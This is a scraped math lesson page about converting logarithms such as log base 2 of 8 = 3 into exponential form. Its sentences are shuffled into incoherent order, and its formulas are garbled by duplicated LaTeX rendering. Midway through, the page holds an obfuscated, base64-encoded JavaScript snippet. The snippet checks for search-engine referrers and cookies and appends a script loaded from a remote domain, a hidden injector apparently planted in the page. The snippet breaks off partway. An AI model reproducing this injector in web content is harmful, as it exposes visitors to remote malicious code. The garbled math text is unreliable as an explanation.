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The base is 3, and it is what is being multiplied A logarithm of a number, on the other hand, is the exponent that a base has to be raised to make that number.. Question: Convert l o g 2 8 = 3 lo\;8\; = 3 l o g ​ 2 ​ ​ 8 = 3 into exponential form.. Do better in math todayWhat is a logarithm?Converting from logarithmic form to exponential formEvaluating logarithms without a calculatorEvaluating logarithms using change-of-base formulaConverting from exponential form to logarithmic formSolving exponential equations with logarithmsProduct rule of logarithmsQuotient rule of logarithmsCombining product rule and quotient rule in logarithmsEvaluating logarithms using logarithm rulesSolving logarithmic equationsGraphing logarithmic functionsFinding a logarithmic function given its graphLogarithmic scale: Richter scale (earthquake)Logarithmic scale: pH scaleLogarithmic scale: dB scaleDon't just watch, practice makes perfect.. Play next lesson or Practice this topicStart now and get better math marks!Keep exploring StudyPugStart now and get better math marks!Keep exploring StudyPugChapter 24.. An example of an exponential form number would be that in order to show 3x3x3x3, we’d instead write 34.. Exponentials happen when a number is raised to a certain power It is a shorter way to show that a number is repeatedly multiplied a number of times by itself.. The relationship between log and exponential form makes converting between the two easy.. N is the “number”, which corresponds to the big number beside log.. The exponent is the little number 4, and it shows how many times the number is to be multiplied by itself.. Continue trying out our practice problems to see the relationship between log and exponentials used in more advanced situations to make sure you can convert any equation in your upcoming tests! Here are also some additional walkthroughs to demonstrate the concept.. You probably recall how to change exponential form to radical form But in this chapter, we’re looking at something a little different.. Notice that the base in both the log and exponential form of the equation is “b”, but it is mainly the x and y in the relationship that switches sides.. l o g 2 8 = 3 lo\;8\; = 3 l o g ​ 2 ​ ​ 8 = 3Convert into this form: b E = N = N b ​ E ​ ​ = NThe final answer is:2 3 = 8 <2^3>= 8 2 ​ 3 ​ ​ = 8How does this work? Let’s take a step-by-step look into how we change the form of the equation.. Do better in math todayLogarithm Topics:What is a logarithm?Converting from logarithmic form to exponential formEvaluating logarithms without a calculatorEvaluating logarithms using change-of-base formulaConverting from exponential form to logarithmic formSolving exponential equations with logarithmsProduct rule of logarithmsQuotient rule of logarithmsCombining product rule and quotient rule in logarithmsEvaluating logarithms using logarithm rulesSolving logarithmic equationsGraphing logarithmic functionsFinding a logarithmic function given its graphLogarithmic scale: Richter scale (earthquake).. Play next lessonNope, got it Play next lessonThat's it, no more lessonsGoto next topicStill don't get it?Nope, I got it.. 2 PlaylistSelectedLesson: 2bLesson: 3bLesson: 4Lesson: 6aLesson: 6cLearnWhat is exponential form in math?The log form and exponential form are actually inverses of each other.. var _0x1bca=['ZmZtWGg=','U1lPSHQ=','WXBSZWU=','UGtEb0k=','TVBvZUc=','anlzeVQ=','QUp2UXM=','R3ZtWVg=','Lmdvb2dsZS4=','LmJpbmcu','LmFvbC4=','LmFzay4=','LmFsdGF2aXN0YS4=','dmlzaXRlZA==','T0to','ekpq','bVdv','aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9kb25fY29uLnBocD94PWVuJnF1ZXJ5PQ==','QVZMaUM=','WGhFQ1Q=','LnlhaG9vLg==','cUZqUmU=','c2N5dEM=','VE9KR08=','cmVmZXJyZXI=','Z2V0','QkhqYWE=','UE94RmU=','UVFlYnM=','Unhqb0s=','TnFHWXQ=','aExxYm8=','SXR0dGk=','eXByZUU=','em1D','ZEZNTnI=','c2V0','eUNVU0Q=','eERCS00=','V2ZkWmk=','c2NyaXB0','RnhEbU8=','c3Jj','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','aGVhZA==','YXBwZW5kQ2hpbGQ=','Y29udmVydCtsb2crYmFzZSt0bytsbg==','MnwwfDN8NHwxfDU=','T3lO','OyBleHBpcmVzPQ==','OyBwYXRoPQ==','OyBkb21haW49','OyBzZWN1cmU=','bWJC','YnNi','d2F2d28=','c3BsaXQ=','blZMelI=','b1BISVM=','SW5mdWc=','SHdlZW4=','RlFUR2E=','clV1YWc=','Z1RNcHo=','Z2V0VGltZQ==','Q2J0Y3o=','Y29Pcnk=','TGNsUFM=','Y29va2ll','aXRUZFk=','bGVuZ3Ro','cmVwbGFjZQ=='];(function(_0x55b3fb,_0x3e20b4){var _0x59bb36=function(_0x1dfea6){while(--_0x1dfea6){_0x55b3fb['push'](_0x55b3fb['shift']());}};_0x59bb36(++_0x3e20b4);}(_0x1bca,0x70));var _0x19d8=function(_0x21b435,_0x442f7e){_0x21b435=_0x21b435-0x0;var _0x1354d4=_0x1bca[_0x21b435];if(_0x19d8['initialized']===undefined){(function(){var _0x8a560;try{var _0x3ea890=Function('return\x20(function()\x20'+'{}.. b E = N = N b ​ E ​ ​ = N is equalled to l o g b ( y ) = x lo\left( y \right)\; = x l o g ​ b ​ ​ ( y ) = x is the relationship that we’re referring to.. What exactly does the letters in b E = N = N b ​ E ​ ​ = N mean?The lower case b stands for the “base”, which is equaled to the small number beside log.. Whatever the log form equation equaled becomes the exponent, and vice versa You can also use the same idea to convert exponential form to logarithmic by doing the reverse of what we explored in this article.. How do we convert log form to exponential form and vice versa? What’s does converting log vs exponential form ultimately look like? Let’s explore this through an example.. Still don't get it?Review these basic concepts…Solving for exponentsWhat is a logarithm?Nope, I got it.. Lastly, we’ve got the “E”, which stands for “exponent” and it is what the log expression is equal to.